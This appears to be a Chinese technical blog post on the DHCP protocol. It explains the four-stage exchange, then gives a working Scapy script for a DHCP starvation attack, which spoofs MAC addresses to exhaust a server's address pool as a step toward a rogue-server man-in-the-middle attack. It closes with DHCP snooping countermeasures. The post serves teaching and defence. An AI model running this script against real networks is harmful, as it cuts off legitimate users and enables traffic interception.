DHCP协议
DHCP 工作原理
DHCP 采用UDP
作为传输协议,DHCP 客户端发送请求消息到 DHCP 服务端的68
端口,DHCP 服务端回应应答消息发送给客户端的67
端口。
只有和 DHCP 客户端在同一个网段的 DHCP 服务器才能收到 DHCP 客户广播报文;不同网段的情况下,需要采用DHCP 中继来转发DHCP报文。
在 DHCP 客户端看来,DHCP 中继就像 DHCP 服务器;在 DHCP 服务器看来,DHCP 中继就像 DHCP 客户端。
第一步:发现阶段(Discover)
首次接入网络的 DHCP 客户端不知道 DHCP 服务器的地址,为了学习到服务器的 IP 地址,客户端会以广播方式发送DHCP Discover
报文,源 IP 地址0.0.0.0
、目的IP地址255.255.255.255
。DHCP Discover
报文中携带了客户端的 MAC 地址、需要请求的参数列表(option55)、广播标志位(flag)等信息。
第二步:提供阶段 (Offer)
与 DHCP 客户端位于同一网段的 DHCP 服务器都会接收到DHCP DISCOVER
报文,服务器选择一个地址池中可用的地址,发送DHCP OFFER
报文发送给客户端,源 IP 地址为 DHCP 服务器地址,目的 IP 地址为分配给客户端的地址。通常,服务器的地址池中会指定 IP 地址的租期,如果客户端发送的DHCP DISCOVER
报文中携带了期望租期,服务器会将客户端请求的期望租期与其指定的租期进行比较,选择其中时间较短的租期分配给客户端。
需要注意的是,在发送DHCP OFFER
报文之前,DHCP 服务器会先发送一个源地址为 DHCP 服务器地址、目的 IP 地址为欲分配出去的地址的ECHO REQUEST
ICMP 报文,来进行冲突检测。如果一段时间内没有接收到应答报文,才发送DHCP OFFER
报文;如果收到了应答报文,则表示 IP 地址冲突,把此地址列为冲突地址,然后等待重新接收到DHCP DISCOVER
报文,按照优先顺序重新分配可用的 IP 地址。
其次要注意的是,此阶段 DHCP 服务器分配给客户端的 IP 地址,不一定是最终确定使用的 IP 地址。因为DHCP OFFER
报文发送给客户端等待 16 秒后如果没有收到客户端的响应,此地址就可以被继续分配给其它客户端。需要经过下面的选择和确认阶段,才能确定客户端最终可以使用的 IP 地址。
第三步:选择阶段(Request)
DHCP 客户端广播发送DHCP REQUEST
报文,响应 DHCP 服务器发送的 offer 报文,在报文中的option 54
中会写上被选中的服务器的 IP 地址,因为可能存在多个服务器的 offer。并在option 50
中写上 DHCP 服务器分配的 IP 地址,用于检测 IP 地址可用性,防止 IP 地址冲突。
第四步:确认阶段(Ack)
当 DHCP 服务器收到 DHCP 客户端发送的DHCP REQUEST
报文后,DHCP服务器回应DHCP ACK
报文,表示DHCP REQUEST
报文中请求的 IP 地址可以分配给客户端使用。
DHCP 客户端收到DHCP ACK
报文,会广播发送免费ARP
报文,探测本网段中是否有其它终端使用服务器分配的 IP 地址,如果指定时间内没有收到回应,表示客户端可以使用此地址;如果收到了回应,表示 IP 地址将会冲突,客户端发送DHCP DECLINE
报文给服务器。同时,DHCP 服务器将这个 IP 列为冲突地址,不再分配出去。
当 DHCP 服务器收到 DHCP 客户端发送的DHCP REQUEST
报文后,如果 DHCP 服务器由于某些原因(例如协商出错或者由于发送 REQUEST 过慢导致服务器已经把此地址分配给其他客户端)无法分配DHCP REQUEST
报文中Option50
填充的 IP 地址,则广播发送DHCP NAK
报文作为应答,通知 DHCP 客户端无法分配此 IP 地址。DHCP 客户端需要重新发送 DHCP DISCOVER 报文来申请新的 IP 地址。
注:
-
DHCP服务器可以排除不想分配的 IP 地址,来避免 IP 地址冲突。
-
DHCP 服务器在地址池中为客户端分配 IP 地址的顺序(优先级)如下:
2.1.DHCP 服务器上已配置的与客户端 MAC 地址静态绑定的 IP 地址。
2.2.客户端发送的DHCP DISCOVER
报文中Option50
(请求 IP 地址选项)指定的地址。
2.3.地址池内查找Expired
状态的IP地址,即曾经分配给客户端的超过租期的 IP 地址。
2.4.在地址池内随机查找一个Idle
状态的IP地址。
2.5.如果未找到可供分配的 IP 地址,则地址池依次自动回收超过租期的(Expired
状态)和处于冲突状态(Conflict
状态)的IP地址。回收后如果找到可用的 IP 地址,则进行分配;否则,DHCP 客户端等待应答超时后,重新发送 DHCP DISCOVER 报文来申请 IP 地址。
DHCP 攻击
import random
import binascii
import threading
from scapy.all import *
def dhcp_d(src_mac):##构造discover报文
dhcpDiscover = Ether(
src = src_mac,#本机MAC
dst = 'FF:FF:FF:FF:FF:FF'
)/IP(
src = '0.0.0.0',#源ip
dst = '255.255.255.255'#目的ip地址
)/UDP(
sport = 68,
dport = 67
)/BOOTP(
chaddr = binascii.unhexlify(src_mac.replace(':',''))
)/DHCP(
options = [
("message-type","discover"),"end"]
)
return dhcpDiscover
def dhcp_r(src_mac,server_ip,wanna_ip):##构造request报文
dhcpRequest = Ether(
src = src_mac,#本机MAC
dst = 'FF:FF:FF:FF:FF:FF'
)/IP(
src = '0.0.0.0',#源ip
dst = '255.255.255.255'#目的ip地址
)/UDP(
sport = 68,
dport = 67
)/BOOTP(
chaddr = binascii.unhexlify(src_mac.replace(':',''))
)/DHCP(
options = [
("message-type","request"),
("server_id",server_ip),
("requested_addr",wanna_ip),"end"]
)
return dhcpRequest
def postPacket(src_mac,eth):##发送discover报文
sendp(dhcp_d(src_mac),iface=eth)
def postPacket2(src_mac,server_ip,wanna_ip,eth):##发送request报文
if server_ip != None :##如果server_ip为空(没抓到包),则不发送
sendp(dhcp_r(src_mac,server_ip,wanna_ip),iface=eth)
def CatchPacket(eth):##抓包
sniff(prn=lambda x : returnIP(x),filter=f'src port 67',count=1,iface=eth,timeout=1.5)
def returnIP(x):##抓取offer报文,获取DHCP服务器的IP,和它分配出来的IP地址
global server_ip,wanna_ip
server_ip = x.payload.src
wanna_ip = x.payload.dst
print(server_ip,wanna_ip)
return server_ip,wanna_ip
if __name__ == '__main__':
eth = 'ASIX AX88179A USB 3.2 Gen1 to Gigabit Ethernet Adapter'##网卡名称,根据实际情况修改
mac_dict = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']
for i in range(1,2540):
server_ip,wanna_ip = None,None
### 随机生成mac地址
src_mac = '50:2B:73:'
src_mac += random.choice(mac_dict) + random.choice(mac_dict) + ":"
src_mac += random.choice(mac_dict) + random.choice(mac_dict) + ":"
src_mac += random.choice(mac_dict) + random.choice(mac_dict)
t1 = Thread(target=CatchPacket,args=(eth,))#进程1,抓包
t2 = Thread(target=postPacket,args=(src_mac,eth,))#进程2,发送discover报文
t1.start()#开启线程1
t2.start()
t2.join()#等待线程2结束
t1.join()
t3 = Thread(target=postPacket2,args=(src_mac,server_ip,wanna_ip,eth,))#线程3,发送request报文
t3.start()
t3.join()
原理:
- 先发送
discover
报文,利用sniff库
抓取 DHCP 服务器的 IP 地址和它分配出来的 IP 地址 - 再发送
request
报文,向服务器请求刚才分配的地址。 - 重复以上过程,不断伪造新的 MAC 地址,并向 DHCP 服务器请求分配下来的地址,直到 DHCP 服务器地址池耗尽。此时攻击者可以通过建立一台虚假的 DHCP 服务器,给局域网中的设备分配 IP 地址,设备必须通过攻击者的服务器才能转发数据,从而实现中间人攻击。
DHCP 防御
可以在交换机/路由器上配置Dhcp snooping
功能,将连接 DHCP 服务器的端口设置为信任端口,其他端口设置为非信任端口。以 Huawei/H3C 设备为例:
1.在系统视图执行 dhcp snooping enable 命令,使能dhcp snooping,然后在接口或 vlan 视图下执行 dhcp snooping enable 命令,开启下方接口的 dhcp snooping 功能。
2.启用DHCP Snooping
功能后,必须将交换机上的端口设置为信任(Trust)和非信任(Untrust)状态,交换机 只转发信任端口的 DHCP OFFER/ACK/NAK 报文,丢弃非信任端口的 DHCP OFFER/ACK/NAK 报文,从而达到阻断非法 DHCP 服务器的目的。在接口下执行 dhcp snooping trusted 命令,配置信任接口,这样就不会检查此接口接收到的 dhcp 报文,进而保证终端只能从这个接口连接的合法 dhcp 服务器获取 IP地址。
此外,DHCP Snooping
还会监听经过本机的 DHCP 数据包,提取其中的关键信息并生成DHCP Binding Table
记录表,一条记录包括 IP、MAC 地址、租约时间、端口、VLAN、类型等信息,结合DAI(Dynamic ARP Inspection)
和IPSG(IP Source Guard)
可实现 ARP 防欺骗和 IP 流量控制功能。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」